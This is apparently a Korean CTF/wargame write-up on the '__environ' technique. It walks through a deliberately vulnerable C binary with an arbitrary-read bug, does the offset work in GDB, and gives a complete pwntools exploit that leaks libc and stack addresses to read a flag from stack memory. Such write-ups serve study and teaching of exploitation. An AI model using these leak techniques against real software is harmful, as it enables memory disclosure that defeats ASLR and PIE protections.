Exploit Tech: __environ
Full RELRO and PIE, so the stack address is leaked through the environ pointer in libc instead.
$ checksec ./environ
[*] '/Users/chaeeun/Desktop/1b801be5-66b4-4950-9b5c-51a6c27923d1/environ'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
// Name: environ.c
// Compile: gcc -o environ environ.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void sig_handle() {
exit(0);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
signal(SIGALRM, sig_handle);
alarm(5);
}
void read_file() {
char file_buf[4096];
int fd = open("./flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
거의 모든 보호 기법이 들어갔다 할 수 있다.
일단 이번 워게임의 주제인 환경 변수에 대해서 설명하겠습니다. 환경 변수는 쉽게 말하면 프로그램이 실행될 때 같이 전달되는 설정값입니다. 예를 들면 리눅스에서 이런 것들이 환경 변수입니다.
PATH=/usr/bin:/bin
HOME=/home/user
USER=chaeeun
LANG=en_US.UTF-8
즉, 프로그램 입장에서는 “나는 어디서 실행됐고, 사용자는 누구고, 명령어 경로는 어디고, 언어 설정은 뭐지?” 같은 정보를 환경 변수에서 가져올 수 있습니다.
이번 문제에서 중요한 건 환경 변수 자체의 값보다, environ 이라는 환경 변수 목록을 가리키는 포인터입니다. environ 은 libc 안에 있는 전역 변수이고, 대략 이런 역할입니다.
char **environ;
의미는 environ → 환경 변수 목록이 있는 stack 근처 주소. 즉, environ 을 읽으면 스택 주소를 알아낼 수 있습니다.
1. __environ 주소 구하기
이 문제에서는 먼저 프로그램이 출력해주는 stdout 주소를 이용해 libc base 주소를 계산할 수 있다.
stdout = int(p.recvuntil(b'\n'), 16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
stdout 은 libc 내부에 존재하는 객체이기 때문에, 실제 실행 중 출력된 stdout 주소에서 libc 안의 _IO_2_1_stdout_ 오프셋을 빼면 libc base 주소를 구할 수 있다. 그다음 libc 안에 있는 __environ 심볼 주소를 계산한다.
libc_environ = libc_base + elf.symbols['__environ']
__environ 은 환경 변수 목록을 가리키는 포인터이다. 리눅스에서 환경 변수들은 보통 프로세스의 stack 영역 근처에 저장된다. 따라서 __environ 값을 읽으면 stack 쪽 주소를 알아낼 수 있다. 정리하면 다음과 같다.
stdout leak → libc base 계산 → libc 안의 __environ 주소 계산 → __environ 값을 읽어서 stack 주소 leak
2. read_file() 에서 flag 가 저장되는 stack 위치 확인
read_file() 함수는 flag 파일을 열어서 지역 변수인 file_buf 에 내용을 읽어온다.
char file_buf[4096];
int fd = open("./flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
즉, flag 내용은 heap 이나 전역 영역이 아니라 stack 영역에 저장된다. GDB 로 read_file() 을 disassemble 해보면 read() 호출 전에 버퍼 주소가 설정되는 부분을 확인할 수 있다.
lea rcx, [rbp-0x1010]
mov edx, 0xfff
mov rsi, rcx
call read@plt
여기서 rcx 가 file_buf 의 주소이며, 이후 rsi 로 전달되어 read() 의 두 번째 인자인 buffer 로 사용된다. 따라서 read() 직후에 breakpoint 를 걸면, rcx 가 flag 내용이 들어갈 stack buffer 주소를 가리키고 있음을 확인할 수 있다.
(gdb) b *read_file+93
(gdb) r
(gdb) x/gx $rcx
이후 앞에서 구한 __environ 값과 $rcx 값을 비교하면, environ 으로 leak 한 stack 주소와 flag buffer 사이의 거리를 계산할 수 있다.
(gdb) p/x __environ
(gdb) p/x 0x7fffffffe698 - 0x7fffffffd130
계산 결과 offset 은 0x1568 이다. 즉, __environ 으로 얻은 stack 주소에서 0x1568을 빼면 read_file() 이 flag 를 읽어둔 buffer 근처 주소를 구할 수 있다.
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Addr: ', str(environ).encode())
p_environ = u64(p.recvn(6).ljust(8, b'\x00'))
flag_buf = p_environ - 0x1568
최종 Exploit Code
#!/usr/bin/env python3
from pwn import *
context.binary = './environ'
context.log_level = 'debug'
elf = ELF('./environ')
libc = ELF('./libc.so.6')
p = remote('host', port)
# 1. stdout leak 받기
p.recvuntil(b'stdout: ')
stdout_leak = int(p.recvline().strip(), 16)
log.info(f'stdout leak = {hex(stdout_leak)}')
# 2. libc base 계산
libc_base = stdout_leak - libc.symbols['_IO_2_1_stdout_']
environ_addr = libc_base + libc.symbols['__environ']
log.info(f'libc base = {hex(libc_base)}')
log.info(f'__environ = {hex(environ_addr)}')
def aar(addr):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Addr: ', str(addr).encode())
return p.recvuntil(b'> ', drop=True)
data = aar(environ_addr)
stack_leak = u64(data[:6].ljust(8, b'\x00'))
log.info(f'stack leak = {hex(stack_leak)}')
flag_buf = stack_leak - 0x1568
log.info(f'flag buffer = {hex(flag_buf)}')
flag = aar(flag_buf)
log.success(f'flag = {flag}')
p.interactive() 